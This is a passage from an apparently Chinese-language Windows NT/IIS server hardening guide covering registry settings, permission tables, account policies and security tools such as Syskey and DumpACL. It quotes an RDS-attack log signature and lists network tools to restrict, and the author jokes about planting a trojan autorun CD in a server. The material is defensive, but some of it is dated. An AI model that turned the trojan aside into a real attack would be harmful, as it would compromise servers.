Type | REG_DWORD |
Value | 1 |
4 . 对另外的一些命名对象的安全设置,可以通过以下的 registry 修改来实现
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | \ CurrentControlSet\Control\Session Manager |
Value Name | AdditionalBaseNamedObjectsProtectionMode |
Type | REG_DWORD |
Value | 1 |
5 . 确保关机按钮在登陆窗口中屏蔽,下面的修改将使只有有权限的物理访问的用户才能关闭计算机。
Hive | HKEY_LOCAL_MACHINE\SOFTWARE |
Key | \ Microsoft\Windows NT\Current Version\Winlogon |
Value Name | ShutdownWithoutLogon |
Type | REG_SZ |
Value | 0 |
6 . 目录和文件的保护,设定正确的文件目录权限是十分重要的事情,下面的列表中的 installer 是指有权安装软件或者系统文件的用户。
Directory or file | Suggested Max Permissions |
C:\ | Installers: Change Everyone: Read Server Operators: Change |
files | Installers: Change Everyone: Read Server Operators: Change |
IO.SYS, MSDOS.SYS | Installers: Change Everyone: Read Server Operators: Change |
BOOT.INI, NTDETECT.COM, NTLDR | (none) |
AUTOEXEC.BAT, CONFIG.SYS | Installers: Change Everyone: Read Server Operators: Change |
C:\TEMP | Everyone: (RWXD)*(NotSpec) |
C:\WINNT\ | Installers: Change Everyone: Read Server Operators: Change |
files | Everyone: Read Server Operators: Change |
win.ini | Installers: Change Pu blic: Read Server Operators: Change |
Control.ini | Installers: Change Everyone: Read Server Operators: Change |
Netlogon.chg | (none) |
\ WINNT\config\ | Installers: Change Everyone: Read Server Operators: Change |
\ WINNT\cursors\ \WINNT\fonts | Installers: Change Everyone: Add & Read Server Operators: Change PwrUsers: Change |
\ WINNT\help\ | Installers: Change Everyone: Add & Read Server Operators: Change PwrUsers: Change |
*.GID, *.FTG, *.FTS | Everyone: Change |
\ WINNT\inf\ | Installers: Change Everyone: Read |
*.ADM files | Everyone: Read |
*.PNF | Installers: Change Everyone: Read Server Operators: Change |
\ WINNT\media\ | Installers: Change Everyone: Read Server Operators: Change PwrUsers: Change |
*.RMI | Everyone: Change |
\ WINNT\profiles\ | Installers: Add&Read Everyone: (RWX)*(NotSpec) |
..\All users | Installers: Change Everyone: Read |
..\Default | Everyone: Read |
\ WINNT\repair\ | (none) |
\ WINNT\system\ | Installers: Change Everyone: Read Server Operators: Change |
\ WINNT\System32\ | Installers: Change Everyone: Read Server Operators: Change Backup Operators: Change |
files | Everyone: Read Server Operators: Change |
$winnt$.inf | Installers: Change Everyone: Read Server Operators: Change |
AUTOEXEC.NT, CONFIG.NT | Installers: Change Everyone: Read Server Operators: Change |
cmos.ram, midimap.cfg | Everyone: Change |
localmon.dll, decpsmon.*, hpmon.* | Installers: Change Everyone: Read Server Operators: Change Print Operators: Change |
\ WINNT\System32\config\ | Everyone: List |
\ WINNT\System32\DHCP\ | Everyone: Read Server Operators: Change |
\ WINNT\System32\drivers\ (including \etc) | Everyone: Read |
\ WINNT\System32\LLS | Installers: Change Everyone: Read Server Operators: Change |
\ WINNT\System32\OS2 (including \DLL subdir) | Everyone: Read Server Operators: Change |
\ WINNT\System32\RAS | Everyone: Read Server Operators: Change |
\ WINNT\System32\Repl | Everyone: Read Server Operators: Change |
\ WINNT\System32\Repl\, import, export, scripts subdirs | Everyone: Read Server Operators: Change Replicator: Change |
\ WINNT\System32\spool | Installers: Change Everyone: Read Server Operators: Full Print Operators: Change |
\ drivers\ \drivers\w32x86\2\ \prtprocs\ \prtprocs\w32x86\ \drivers\w32x86\ | Installers: Change Everyone: Read Server Operators: Full Print Operators: Change |
\ printers\, \tmp\ | Installers: Change Everyone: (RWX)(NotSpec) Server Operators: Full |
\ WINNT\System32\viewers | Everyone: Read Server Operators: Change |
\ WINNT\System32\wins | Everyone: Read Server Operators: Change |
C:\...\*.EXE, *.BAT, *.COM, *.CMD, *.DLL | Everyone: X |
7 . 保护注册表信息,缺省情况下下列注册表 administrator 和 system 是得到 full control 权限, everyone 得到读的权限。
HKEY_LOCAL_MACHINE\Hardware
HKEY_LOCAL_MACHINE\Software
HKEY_LOCAL_MACHINE\System
HKEY_USERS\.Default
要限制远程访问 registry ,需要以下几个步骤:加入下表的几个键。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | \ CurrentControlSet\Control\SecurePipeServers |
Value Name | \ winreg |
选择 winreg, 选择安全选项 ----- 权限,下面就设置 administrator 权限为 full control 。并且确定没有其他的组或成员。
这里顺便提一下 allowedpaths 子键,它主要实现一些特殊的功能,例如检查打印状态,缺省情况下 administrator 拥有对这个子键的 full control 的权限,如何正确利用这个子键在以下地址有详细论述。
http://www.microsoft.com/technet/support/kb.asp?ID=155363
8 . 赋予适当的 registry 权限,注意以下表格中的 installer 是指有权安装软件或系统文件的用户,注意如果没有说 Entire Tree 的话,就指的是特定的键,而并不包括它下面的子键。
Key path | Permissions | Notes |
\ Software | Installers: Change Everyone: Read | Only accounts that can install software should have change rights to this tree. |
\ Software\Classes | Installers: Add Everyone: Read | Tree needs special treatment because restricting to read access for Everyone may break some applications. |
\ Software\Microsoft\Windows\CurrentVersion\App Paths | Installers: Change Everyone: Read | Apply to entire tree. At install time this key is empty; set ACLs to prevent its misuse. |
\ Software\Microsoft\Windows\Current Version\Explorer | Everyone:Read | Apply to entire tree |
\ Software\Microsoft\Windows\Current Version\Embedding | Installers: Change Everyone: Read | Apply to entire tree |
\ Software\Microsoft\Windows\Current Version\Run, RunOnce, Uninstall, and AEDebug | Everyone: Read | See " Restrict untrusted users' ability to plant Trojan horse programs" below <http://www.microsoft.com/technet/security/mbrsrvcl.asp> |
\ Software\Microsoft\Windows NT\CurrentVersion\Font*, GRE_Initialize | Installers: Change Everyone: Add | Change only keys that begin with "Font," except FontDrivers, and Gre-Initialize. |
\ Software\Microsoft\Windows NT\CurrentVersion\Type 1 Installer\Type 1 Fonts | Installers: Change Everyone: Add | |
\ Software\Microsoft\Windows NT\CurrentVersion\Drivers, Drivers.desc | Everyone: Read | Apply to entire tree |
\ Software\Microsoft\Windows NT\CurrentVersion\MCI, MCI Extensions | Installers:Change | Apply to entire tree. |
\ Software\Microsoft\Windows NT\CurrentVersion\Ports | INTERACTIVE: Read Everyone: Read | Apply to entire tree. |
\ Software\Microsoft\Windows NT\CurrentVersion\WOW | Everyone: Read | Apply to entire tree. |
\ Software\Windows 3.1 Migration Status | Everyone: Read | Apply to entire tree. |
\ System\CurrentControlSet\Services\LanmanServer\Shares | Everyone: Read | Apply to entire tree. Prevents users from adding new shares. |
\ System\CurrentControlSet\Services | Everyone: Read | Apply to entire tree. This setting prevents non-administrators from changing service settings. |
9 . 限制访问 Local Security Authority(LSA) 信息 ,LSA 包括了一些权限设置的信息,我们可以通过下表的键值的增加修改来达到限制访问的目的。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Control\LSA |
Value Name | RestrictAnonymous |
Type | REG_DWORD |
Value | 1 |
10 . 限制不信任的用户植入木马软件,木马软件通常需要在几个启动后自动执行的键写入内容,以便系统重新启动后自动加载木马,可以通过下面的几个步骤来防止一些这种机制的木马。首先使用 registry 编辑器来查找下面几个键值,见下表:
Hive | HKEY_LOCAL_MACHINE\SOFTWARE |
Key | Microsoft\Windows\CurrentVersion |
Values | Run, RunOnce, Uninstall (if present), AEDebug and all their subkeys |
选择各个子键,点击安全选项 ------ 权限,设置 everyone 和不信任用户只有 read 权限,确定就行了。
11 . 关闭缓存用户登陆信息, NT 4 中可以缓储一些用户的登陆信息,即使域服务器暂时不能连接,如果用户不久之前曾经成功登陆过,仍然可以依靠缓存的信息来完成登陆过程,虽然关闭缓存用户登陆信息使的登陆过程变的缓慢,但是将使得系统变的更安全,修改下面的信息可以做到。
Hive | HKEY_LOCAL_MACHINE\SOFTWARE |
Key | Microsoft\Windows NT\CurrentVersion\Winlogon |
Value Name | CachedLogonsCount |
Type | REG_SZ |
Value | 0 |
关闭 RAS 服务器的用户登陆信息,可以通过下面的修改来得到:
Hive | HKEY_LOCAL_MACHINE\System |
Key | CurrentControlSet\Services \ Rasman\Parameters |
Value Name | DisableSavePassword |
Type | DWORD |
Value | 1 |
12 . 限制只有 administrator 才能安装打印机驱动程序,通过建立下面的 registry 来实现。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Control\Print\Providers\LanMan Print Services\Servers |
Value Name | AddPrintDrivers |
Type | REG_DWORD |
Value | 1 |
13 . 设置内存页面文件在系统关闭前清除,这样做可以使一些没有担保的数据不会保存在内存页面文件中,但是会增加系统
关闭的时间,通过修改下面的键值,可以强迫系统这样做。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Control\Session Manager\Memory Management |
Value Name | ClearPageFileAtShutdown |
Type | REG_DWORD |
Value | 1 |
14 . 限制只有通过交互登陆的用户才能使用软驱和光驱,修改下面的键值。这个键值只有在下次登陆的时候才能起作用
Hive | HKEY_LOCAL_MACHINE\SOFTWARE |
Key | Microsoft\Windows NT\CurrentVersion\Winlogon |
Value Name | AllocateFloppies and AllocateCdRoms |
Type | REG_SZ |
Value | 1 |
15 . 修改拥有特殊权利的成员资格,通过用户管理器来修改一些特定的权利拥有者。
User Right | Membership |
Access this computer from network | (No one) Do not assign to any user. |
Act as part of the operating system | (no one) Do not assign to any user. |
Add workstations to domain | Domain Admins |
Back up files and directories | trusted users (e.g. the Backup Operators group) |
Bypass traverse checking | Authenticated Users |
Change the system time | trusted users (e.g. Server Operators) |
Create a pagefile | trusted users (e.g. Server Operators) |
Create a token object | (no one) Do not assign to any user. |
Create permanent shared objects | (no one) |
Debug programs | (no one) This right is not auditable and should not be assigned to any user, including system administrators. |
Force shutdown from a remote system | trusted users (e.g. Server Operators) |
Generate security audits | (no one) Do not assign to any user. |
Increase quotas | trusted users (e.g. Server Operators) |
Increase scheduling priority | trusted users (e.g. Server Operators) |
Load and unload device drivers | trusted users (e.g. Server Operators) |
Lock pages in memory | (no one) |
Log on as a batch job | trusted users (as needed) |
Log on as a service | trusted users (as needed) |
Log on locally | Trusted users (as needed) |
Manage auditing and security log | trusted users (e.g. Domain Admins) |
Modify firmware environment values | trusted users (e.g. Domain Admins) |
Profile single process | trusted users |
Profile system performance | trusted users |
Replace a process level token | (no one) Do not assign to any user. |
Restore files and directories | trusted users (e.g. Backup Operators) |
Shut down the system | trusted users (e.g. Server Operators) |
Take ownership of files or other objects | trusted users (e.g. Domain Admins) |
16 . 设置基本对象的审核,当你对备份还原信息和对象文件进行审核的时候,有些内容缺省是不打开的,你可以通过修改 registry 来打开它,但是要注意这样的话会产生很多的审核信息,你如果需要就打开它。
对基本对象的审核:
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Control\Lsa |
Value Name | AuditBaseObjects |
Type | REG_DWORD |
Value | 1 |
对备份还原特权进行审核:
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Control\Lsa |
Value Name | FullPrivilegeAuditing |
Type | REG_BINARY |
Value | 0x01 (hex) |
17 . 设置安全日志的行为,一般是通过事件查看器来设置安全日志的行为,例如不要覆盖事件,或者你可以强迫当不再产生日志信息的时候关闭 NT, 下面的设置将使日志充满时,系统被关闭。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Control\LSA |
Value Name | CrashOnAuditFail |
Type | REG_DWORD |
Value | 1 |
18 . 限制网络访问,除非必要,否则关闭可以访问的通路。
19 . 使调度服务变的更安全,调度服务有时被黑客利用运行超出权限范围的任务,打开控制面板 ---- 服务 ----Schedule service--- 点击启动按钮,点击这个帐户的单选键里输入你信任的可使用这个服务的帐户名称就行了。
20 . 隐藏最后登陆的用户名,缺省情况下最后登陆的用户名被显现,使得攻击者可以猜测系统内的用户信息,通过下面的修改来隐藏这些信息。
Hive | HKEY_LOCAL_MACHINE\Software |
Key | Microsoft\WindowsNT\CurrentVersion\winlogon |
Value Name | DontDisplayLastUserName |
Type | REG_SZ |
Value | 1 |
21 . 关闭光驱的 autorun 功能,看起来很不起眼吧,呵呵,我一直想制作一个 autorun 光盘,里面的 autorun 可执行文件是一个木马和正常文件的合并,哎,把他放在我们服务器的光驱里,只要 ……….. 嘿嘿。通过下面的修改关闭这个功能。
Hive | HKEY_LOCAL_MACHINE\System |
Key | CurrentControlSet\Services \ Cdrom |
Value Name | Autorun |
Value | 0 |
22 . 设定屏幕保护的口令选项来保护管理员的桌面。
23 . 更新你的紧急修复磁盘,做了这么多的修改需要重新制作一个修复磁盘,来保存这些设置,可以使用 Rdisk 工具来实现。
五. Windows NT 的帐户政策设置
1 . 关闭空口令,使用用户管理器来设定用户政策,确定你的口令最小值为一个比较合适的范围。
2 . 加强密码的设置,可以设置最小的密码程度为 8 个字符,最短密码时间为 1-7 天,最长密码时间为 42 天,最小的密码历史轮回为 6 等等,当然具体的情况要看你自己的情况哦。
3 . 设定密码锁定策略,当 3-5 次的密码尝试错误以后就自动锁定帐户,并且在 45 分钟以后才重新开始。这个策略对 administrator 无效。
4 . 使用 passfilt.dll 加强密码强度,通过 使用这个工具可以强迫密码必须要在 6 位以上,并且不可以包含帐户名或者全名,还有必须包含下面 4 个字符集中的 3 个(大写字母,小写字母,数字,符号),这个规则最好在 PDC,BDC 和成员服务器上都实行。安装这个 DLL 可以通过修改 registry 来实现。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Control\LSA |
Value Name | NotificationPackages |
Type | REG_MULTI_SZ |
Change | Add the string passfilt.dll to the list |
<http://www.microsoft.com/technet/support/kb.asp?ID=151082> 写的是如何写自己的规则的文章。
5 . 配置 administrator 帐户,把这个特权帐户改成不起眼的用户名,再重新建立一个 guest 组的 administrator 帐户,混摇攻击者的眼睛。
6 . 确定审核登陆失败尝试和特权请求 .
IIS服务器检查列表
1 . 首先要注意以下讲述的内容有些是在成员服务器里安全检查列表中已经描述过的,所以在下面就这些重复的内容将一句话带过。
2 . 定制你的安全策略,阅读 IIS 资源手册中关于安全的部分,订阅 microsoft 的安全公告板。
3 . 安装最新的 Service Pack 和 Hot-Fix, 格式化硬盘为 NTFS, 设置 NTFS 的 ACL, 删除 OS/2 和 POSIX 子系统,审核那些失败的登陆信息,隐藏最后登陆名,登陆窗口屏蔽关机键,设置密码长度,改变 Administrator 帐户的名字,给 Admin 帐户设置一个十分强壮的密码,防止未经授权的访问 Registry,, 运行 SAM 加密工具 Syskey, 解除 NetBIOS 协议。
4 . 关闭 NTFS 8.3 的命名系统, NTFS 自动执行 8.3 文件名的命名,这是为了和以前的软件的兼容,如果把他关闭,这样会更安全一些,需要修改下表的 Registry.
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | \ CurrentControlSet\Control\FileSystem |
Name | NtfsDisable8dot3NameCreation |
Type | REG_DWORD |
Value | 1 |
5. 设置域控制器的类型,一般情况下设置 IIS 服务器为独立服务器,这样就把暴露全域用户的可能性降低到最少。
6 .删除所有的网络共享,你可以通过命令 net share /d 来删除共享,对于那些重新启动就自动安装的管理用共享例如 ADMIN$,C$,D$ 等等可以通过修改下面的键值来实现。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Services\LanmanServer\Parameters |
Name | AutoShareServer |
Type | REG_DWORD |
Value | 0 |
7 . 设置系统启动等待时间为零,控制面板 --- 系统 --- 启动 / 关闭中设置
8 . 查组,成员,和特权的发放,特别是调试,备份等特权。通常情况下是下列的特权颁发需要注意:
Access this computer from network------ 你信任的并且需要这个服务的用户。
Act as part of the operating system------ 不要付与任何用户
Add workstation to domain------ 域管理员
Backup files and Directories----- 你信任的用户( Backup operators )
ByPass Traverse checking------ 认证用户
Change the system time------- 你信任的用户 (server operators)
Create a Pagefile-------- 你信任的用户 (server operators)
Creat a token Object-------- 不要付与任何用户
Creat Permanent shared objects-------no one
DEBUG programs--------no one
Force shutdown from remote sys------ 信任的用户( server operators )
Generate security audits------- 不要付与任何用户
Increase quotas------- 信任的用户( server operators )
Increase scheduling priority------ 信任的用户( server operators )
Load and unload device driver----- 信任的用户( server operators )
Lock pages in memory-----no one
Log on as batch job------ 信任的用户
Log on as service------- 信任的用户
Log on locally-------- 信任的用户
Manage auditing and security log------- 信任的用户 (Domain admins)
Modify firmware environment value------ 信任的用户 (Domain admins)
Profile single process---- 信任的用户
Profile system performance--- 信任的用户
Replace a process level token---- 不要付与任何用户
Restore files and directories---- 信任的用户( Backup operators )
Shutdown the system------- 信任的用户( server operators )
Take ownship of files and objects----- 信任的用户( Domain admins )
9 . 设置 administrator 网络安全,缺省情况下, administrator 帐户在受到字典攻击的时候是不能锁定帐户的,但是在 NT 的资源工具箱里有个工具 Passprop 可以实现这个功能,而且 administrator 本地登陆没有影响。
10 . 限制匿名网络访问, NT 有个特征就是允许没有经过认证的用户来列举 NT 域中的用户,下面的修改可以改变这个缺省设定。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Control\LSA |
Name | RestrictAnonymous |
Type | REG_DWORD |
Value | 1 |
11 . 观察下列 registry 并且设定合适的权限,下表的注册表一般被用来安放木马程序,所以合适的权限应该是 administrator(full control), system(full control),creator owner(full control),everyone(read).
Hive Key | HKEY_LOCAL_MACHINE\SOFTWARE Microsoft\Windows\CurrentVersion\Run |
Hive Key | HKEY_LOCAL_MACHINE\SOFTWARE Microsoft\Windows\CurrentVersion\RunOnce |
Hive Key | HKEY_LOCAL_MACHINE\SOFTWARE Microsoft\Windows\CurrentVersion\RunOnceEx |
Hive Key | HKEY_LOCAL_MACHINE\SOFTWARE Microsoft\Windows NT\CurrentVersion\AeDebug |
Hive Key | HKEY_LOCAL_MACHINE\SOFTWARE Microsoft\Windows NT\CurrentVersion\WinLogon |
12. 改变可以匿名从网络访问机器的策略到只有经过认证的用户才能从网络上访问机器。可以通过用户管理器 ---- 策略 ----- 用户权力,选择从网络访问本机,然后删除 everyone 组,加入认证用户。
13 . 闭 ip routing ,开启它你要承担 Internet 和 Intranet 之间传输数据的风险。
14 . 开启一个简单的 ip 过滤,控制面板 ---- 网络 ----- 协议 ----TCP/IP- 高级 ---- 安全选项来设置,一般是下面的规则,只允许 TCP 协议的 80 和 443 端口开放(如果有 SSL 服务的话),不开放任何的 UDP 端口,只允许通过 IP 协议 6 (也就是 TCP )。
15 . 把一些常用的管理员工具放入一个设定好的目录,赋予这个目录只有管理员才能 full control, 下面是这些工具的列表。
xcopy.exe | wscript.exe | cscript.exe | net.exe | ftp.exe | telnet.exe |
arp.exe | edlin.exe | ping.exe | route.exe | at.exe | finger.exe |
posix.exe | rsh.exe | atsvc.exe | qbasic.exe | runonce.exe | syskey.exe |
cacls.exe | ipconfig.exe | rcp.exe | secfixup.exe | nbtstat.exe | rdisk.exe |
debug.exe | regedt32.exe | regedit.exe | edit.com | netstat.exe | tracert.exe |
nslookup.exe | rexec.exe | cmd.exe |
16 . 在你管理多个 WEB 服务器的时候,同步时间。
17 . 删除不必要的 ODBC 和 OLE-Db 数据源和驱动。
18 . 装最小化的 internet 服务,要使 IIS 正常运做,以下的服务是必须的: Event Log , License Logging Service , Windows NTLM Security Support Provider , Remote Procedure Call (RPC) Service , Windows NT Server or Windows NT Workstation , IIS Admin Service , MSDTC , World Wide Web Publishing Service , Protected Storage
19 . 设置适当的认证方法, IIS 支持的认证有 Anonymous , basic, Windows NT Challenge/Response, Client Certificates 。
20 . 设置适当的虚拟目录和 WEB 程序目录的权限
File Type | ACL |
CGI etc .EXE, .DLL, .CMD, .PL | Everyone (RX) Administrators (Full Control) System (Full Control) |
Script Files .ASP etc | Everyone (RX) Administrators (Full Control) System (Full Control) |
Include Files .INC, .SHTML, .SHTM | Everyone (RX) Administrators (Full Control) System (Full Control) |
Static Content .HTML, .GIF, .JPEG | Everyone (R) Administrators (Full Control) System (Full Control) |
不同的内容应该使用不同的目录和权限,下面的目录设置只是一个小示范。
c:\inetpub\wwwroot\myserver\static (.html)
c:\inetpub\wwwroot\myserver\include (.inc)
c:\inetpub\wwwroot\myserver\script (.asp)
c:\inetpub\wwwroot\myserver\executable (.dll)
c:\inetpub\wwwroot\myserver\images (.gif, .jpeg)
当然还有 FTP 和 SMTP 服务的目录也要密切注意,最好把他们放到另外的地方,因为他们的缺省的权限是 everyone(full control) 。
21 . 设置适当的 IIS 日志文件的权限,对于 IIS 产生的日志 (%systemroot%\system32\LogFiles) 设定他的文件权限为 administrators(fullcontrol),system(fullcontrol),everyone(RWC) 。这个步骤将防止一些有恶意的用户通过删除日志信息来掩盖他的记录。
22 . 开启 IIS 日志系统 .
23 . 可以通过 MMC 来设定某些 IP 地址或者 FQDN 名的机器不能访问这台机器,这种方法对一些已经确认的怀有恶意的远程用户是有效而且简便的方法。
24 . 确定可执行的文件内容是否能被信赖,使用命令 dumpbin 可以检查 Myisapi.dll 是否有 RevertToSelf():
25 . 检查确认 index server 只是 index 文挡,而不是什么机密的核心代码。
26 . 对 Certificate server 的 asp 登记页面进行权限检查,一般情况下这个目录 %systemroot%/certsrv 的权限是 administrators(full control),certificate issuers(full control),system(full control), 当然还要加入你信任的证书发行组和发行员。
27 . 删除所有的例子文件,都是以下的一些目录。
Technology | Location |
IIS | c:\inetpub\iissamples |
IIS SDK | c:\inetpub\iissamples\sdk |
Admin Scripts | c:\inetpub\AdminScripts |
Data access | c:\Program Files\Common Files\System\msadc\Samples |
28 . 移除或关闭一些不需要的 COM 组成。
29 . 移除 IISADMPWD 虚拟目录。
30 . 移除对你没有用处的脚本影射,可以在 MMC---WEB 服务器 --- 属性 --- 主要属性 ----WEB 服务 --- 修改 ---- 家目录,然后就可以设置和删除下表提到的了。
If you don't use | Remove this entry |
Web-based Password Reset | .htr |
Internet Database Connector (new Web sites don't use this, they use ADO from Active Server Pages) | .idc |
Server-side includes | .shtm, .stm, .shtml |
31 . 使 .. 失效,缺省情况下符号" .." 是被支持的," .. "代表父目录,我们可以通过设置使 .. 不被支持, WEB 服务器 ---- 属性 ---- 家目录 ---- 配置 ---- 应用选项就可以把这个父目录检查给废除掉。
32 . 网页中的 #EXEC 可以用来执行任意的命令,你可以通过修改 registry 来屏蔽这个功能。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | CurrentControlSet\Services\W3SVC\Parameters |
Name | SSIEnableCmdDirective |
Type | REG_DWORD |
Value | 0 |
33. 关闭 RDS 支持,这是十分重要的设置,错误的设置 Remote Data Service 服务将导致远程执行攻击和拒绝服务攻击,你可以移除这个能力,或者限制它的使用范围。可以通过下面的语句在 log 中查找攻击者的蛛丝马迹。
1999-10-24 20:38:12 - POST /msadc/msadcs.dll
34.检查在 ASP 代码中的 <FORM>input 格式,由于对 ASP 代码我不太熟悉,所以在这里就不在详细叙述了,但是你可以自己通过下面的地址来找到一些资料。
<http://msdn.microsoft.com/workshop/languages/clinic/scripting051099.asp>
<http://www.microsoft.com/jscript>
35 . HTTP 头中的 content-location 可能暴露内部 ip 地址,在你使用 NAT 或者 proxy 的时候转发对 WEB 页面的请求的时候,内部网络的 WEB 服务器发出的回应中并没有改变 HTTP 头中的 IP 地址一栏。例如以下输出就是一个例子:
HTTP/1.1 200 OKServer: Microsoft-IIS/4.0Content-Location: http://10.1.1.1/Default.htmDate: Thu, 18 Feb 1999 14:03:52 GMTContent-Type: text/htmlAccept-Ranges: bytesLast-Modified: Wed, 06 Jan 1999 18:56:06 GMTETag: "067d136a639be1:15b6"Content-Length: 4325
解决方案可以是通过 adsutil.vbs 来转换 HTTP 头中的 IP 地址为 FQDN, 但是要注意,不正确使用这个工具可能会带来严重的问题,使得你不得不重新安装 IIS, 而且 Microsoft 不对使用这个工具后所产生的后果进行任何的担保。
首先你要开一个命令窗口 CMD. 然后转换目录到 WINNT\system32\inetsrv\adminsamples, 接着键入下面的语句 adsutil set w3svc/usehostname true 。缺省情况下这个值是 false 的,使这个值成为 true 以后就可以使得 FQDN 来代替 IP 地址了,当然我们推荐重新开始 inetinfo service ,可以通过下面的命令来实现 net stop iisadmin /y 关闭服务,然后再使用 net start w3svc 。
还有一句要提醒一下 IIS 5.0 的修改方法和这个方法类似,但是所使用的目录变成了 inetpub\adminscripts 。
Windows NT的安全工具概述----微软篇
SAM 密码加密工具 -----syskey
本文适用于以下版本的操作系统:
Microsoft Windows NT Workstation version 4.0
Microsoft Windows NT Server version 4.0
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server
概述:
这是一个增加在 registry 中的 SAM 数据库里的口令信息安全性的工具。可以在 interne 上的下列地址下载到。
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp2/sec-fix/
注意这个加强 SAM 数据库口令信息的安全性的工具是可选的特色,并不是缺省安装的哦。这个工具使用 128 位的随机密匙加密口令信息。并不是所有的用户信息都是被加密的,而只是最重要的口令信息被加密了。而这个加密的密匙也被一个系统加密密匙重新加密了,如果你使用了 rdisk 工具重新备份了系统的注册表信息,那么在 %systemroot%\repair 目录中的备份的注册表也被加密了,这样就防止一些想绕过加密系统通过备份文件来破解密码信息的人。系统加密密匙由 syskey.exe 运行产生,这个文件只能由 administrators 组的成员才能运行(因为它是加密口令的主密匙吗)。
系统密匙可以有三种管理方式:
1 . 使用机器随机产生密匙,并且使用一个复杂的运算法则把它存储在本地系统上。
2 . 使用机器随机产生密匙,并且把这个密匙存储到一个软盘上,这个软盘在系统启动的时候必须要用到。
3 . 使用一个密码选择来启动系统密匙。
如果系统密匙的哪个软盘丢失或者忘记了口令,只有一个办法才能重建系统,就是使用在加强密码加密之前建立的紧急修复磁盘,利用它来恢复注册表信息。
Syskey 主要用来选择一个系统密匙或者产生一个初始密匙的。 Syskey 首先出现一个对话框来显示本系统口令是否已经被加密,当系统口令被加密后就不能被还原了,选择 Encryption Enabled 选项来加密口令,选择 ok 。一个确定对话框将提示 administrator 来做一张紧急修复磁盘。接着出现一个对话框来选择一个系统密匙。当你选择完毕以后就要求重新启动系统, Windows NT 侦测到这个系统密匙并且并且产生一个随机加密的口令密匙。这个命令支持一个 -l 的选项,意思是说在本地 (local) 系统中存储系统密匙并且关闭交互对话框。
注意做好各个情况下的紧急修复磁盘,一般情况下要做三个磁盘分别代表三个情况:
1 . 安装 syskey 之前的系统需要一个紧急修复磁盘。
2 . 安装 syskey 之后的系统也需要一个紧急修复磁盘。
3 . 运行 syskey 之后的系统需要一个紧急修复磁盘。
Windows 2000 Internet Server Security Configuration Tool
又是一个微软出品的针对他们产品的安全加强工具,可惜目前似乎只有针对 2000 的版本,可怜我的机器要跑 2000 server 简直是要它的小命吗。好吧,好吧,注意这个工具的主要作用在于最大程度加强你的 WEB 的安全性,它主要是用来关闭一些服务,针对的是 Windows2000 的 Internet Information Server 5.0 。但是这个工具可是对其他的一些产品没有用的哦,例如: SQL server,Commerce Server,COM+,Dual-network card computers,A computer running active directory 。
安装:嘿嘿,忘记告诉大家在哪里下载了,在微软的 technet 的 security 页面上,文件名是 IISlock.exe ,一个自解压文件包,我把它展开到 c:\ ,然后在 c:\ 下发现了一个新目录 c:\tool, 在 c:\tool\engine 目录下,执行 regsvr32 iissecuritywiz.dll 将注册一个管理检查和服务操纵的 COM+ 祖件。
开始:在 c:\tool\dataentry 目录下,打开 default.htm 文件,来进行安全性设置,当你设置完毕以后,会缺省产生一个策略文件 IISTemplate.txt ,这个文件被 IISconfig.cmd 用来进行一系列的设置 ( 见下图 4-2) 。注意查看你的 hissecweb.inf 是否适合你的环境。下面是 iisconfig 的用法:
Usage: IISConfig [-s server] [-f configfile] [-n] [-d] [-? | -h]
Where:
[-s server] is the server name (DNS or NetBIOS; IP address is not supported.)
[-f configfile] is the configuration file name.
[-n] configures port lockdown, services and IIS script maps only. Does not use SCE hisecweb.inf.
[-d] display debug output as tool executes.
[-?] this help.
(图 4-2 )
Hotfix checker for IIS 5.0
看到这个名字就知道了这个工具是干什么的,它是用来针对 IIS 5.0 来检测它未安装的 hotfix ,给出比较详细的连接的工具,这个工具目前只支持 IIS 5, 可以在 Microsoft technet security 页面下载到,文件名是 hfcinst.exe, 这个工具是一个 script 脚本,通过检查在线的数据库来取得信息。
使用这个工具很简单,注意把缺省的脚本解释引擎改变一下就是了,在 command 窗口里运行 cscript.exe //H:cscript 来达到目标,然后通过重定向输出到一个文件,最后你就通过哪个文件自己去看拉。
Windows NT安全工具----非微软篇
一.审核工具
对 NT 安全规划清楚的人都应该知道权限的设置正确与否是保证系统安全的重要步骤,但是如果你一个一个文件,目录的去查看的效率也太低了,为了提高效率的目的出发,所以就产生了审核工具这种东西,好,今天我就介绍一款审核工具 ------DumpACL 。
DumpACL (我把它叫做 ACL 榨汁机),嘿嘿,我对这个东西的名称的中文叫法实在是莫法度,所以只好自己给它取名字拉)。它的下载地址为 <http://www.somarsoft.com>
它主要是提取文件系统, registry, 打印机,共享的权限 DACLs 和 audit 设置 SACLs 的信息。它还可以提取用户,组和 replication 信息。它还能够实现针对某一过滤规则来显示一些你感兴趣的安全设置,例如说只显示 eveyrone 的权限。
安装这个东东是很容易的事情,只要把 dumpacl.exe 和 dumpacl.hlp 放在同一个目录里就行了,直接运行,运行后 dumpacl.exe 将建立一个注册表键 HKEY_CURRENT_USER\SOFTWARE\Somarsoft\DumpAcl ,除此之外它不会改变系统的任何设置。使用 dumpacl.exe /u 的参数将显示一个提示信息它已经把这个键值给删除了,然后你把这些文件删除,这个东西就干净的清除了。
使用,下面就针对文件系统的审核和权限检查做一个小小的介绍:在 report 选项中的 permissions report options 中,可以进行一些过滤设置,这样做可以大大减少报告的大小。先看我 dump 自己的机器的信息,嘿嘿(见图 4-3 ) :
( 图 4-3)
